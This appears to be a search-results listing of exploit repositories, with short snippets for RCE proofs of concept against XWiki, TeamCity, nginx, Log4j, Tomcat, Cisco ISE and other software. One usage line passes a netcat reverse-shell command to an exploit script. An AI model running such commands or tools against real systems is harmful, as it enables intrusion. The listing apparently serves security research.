104 matches found
CVE-2025-24893
CVE-2025-24893 Remote Code Execution exploit for XWiki for versions prior to 15.10.11, 16.4.1 and 16.5.0RC1. Usage $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Use it only for ethical purposes :...
teamcity-exploit-cve-2023-42793
TeamCity Exploit Cve 2023 42793 A quick script to exploit the cve-2023-42793 bug. Some additional reading on the exploit can be found here: https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793...
htattack
htattack.py An exploit implementation for RCE in RTF docs CVE-2017-0199. Video in Spanish: https://www.youtube.com/watch?v=0lDvclMrymM Usage: python htattack.py -u...
nGixshell
nGixShell is an nginx CVE scanner and RCE exploit framework. It ships a proof-of-concept for CVE-2026-42945 CVSS 3.1 8.1 HIGH per F5/NVD — a heap buffer overflow in ngxhttprewritemodule — and a scanner covering 64 nginx CVEs with automated HTTP probes, fingerprinting, WAF detection/bypass, web...
RCE-Exploit-Framework
RCE-Exploit-Framework This framework is designed to assist penetration testers or developers in understanding the mechanics of remote code execution RCE exploitation. Features Payload Generator : Supports the creation of custom payloads based on Python, Bash, and PHP. Exploit Executor : Delivers...
CVE-2025-64512_PoC
CVE-2025-64512 — pdfminer.six RCE exploit Python 3, stdlib only no pip installs. For authorized security testing and CTF use only — you are responsible for complying with the law and your engagement's rules of engagement. | ---|--- CVE| CVE-2025-64512 Affected| pdfminer.six .pickle.gz inside its...
L4sh
Log4Shell RCE Exploit fully independent exploit does not require any 3rd party binaries. The exploit spraying the payload to all possible logged HTTP Headers such as X-Forwarding , Server-IP , User-Agent Usage python main.py -i lhost -u http://target:targetport -c "commandtoexecute" -p lhttpport ...
CVE-2023-43177
CVE-2023-43177 CrushFTP = 10.5.1 Remote Code Execution This repository holds the proof-of-concept RCE exploit developed during research...
CVE-2024-51567-RCE-EXPLOIT
CVE-2024-51567-RCE-EXPLOIT cbyerpanel rce exploit...
h2database-rce-poc
H2 Console RCE Exploit Toolkit Vulnerability exploitation scr...
Exploit for Path Traversal in Vmware Cloud_Foundation
CTT-enhanced-VMware-vCenter Looking at current high-impact vul...
SweetRice-CMS-1.5.1-RCE-Exploit
SweetRice CMS 1.5.1 RCE Exploit Overview SweetRice CMS 1.5...
EUVD-2020-0163
Malware in sbrugna...
EUVD-2020-0162
Malware in sbrugna...
EUVD-2021-16090
Malware in sbrugna...
CVE-2014-125115 Pandora FMS ≤ 5.0 SP2 Default Credential SQL Injection RCE
An unauthenticated SQL injection vulnerability exists in Pandora FMS version 5.0 SP2 and earlier. The mobile/index.php endpoint fails to properly sanitize user input in the loginhashdata parameter, allowing attackers to extract administrator credentials or active session tokens via crafted...
Exploit for Deserialization of Untrusted Data in Apache Tomcat
CVE-2025-24813 Apache Tomcat RCE Exploit PoC This repository...
Exploit for Injection in Cisco Identity_Services_Engine
CVE-2025-20281-2-Cisco-ISE-RCE Unauthenticated Python PoC for...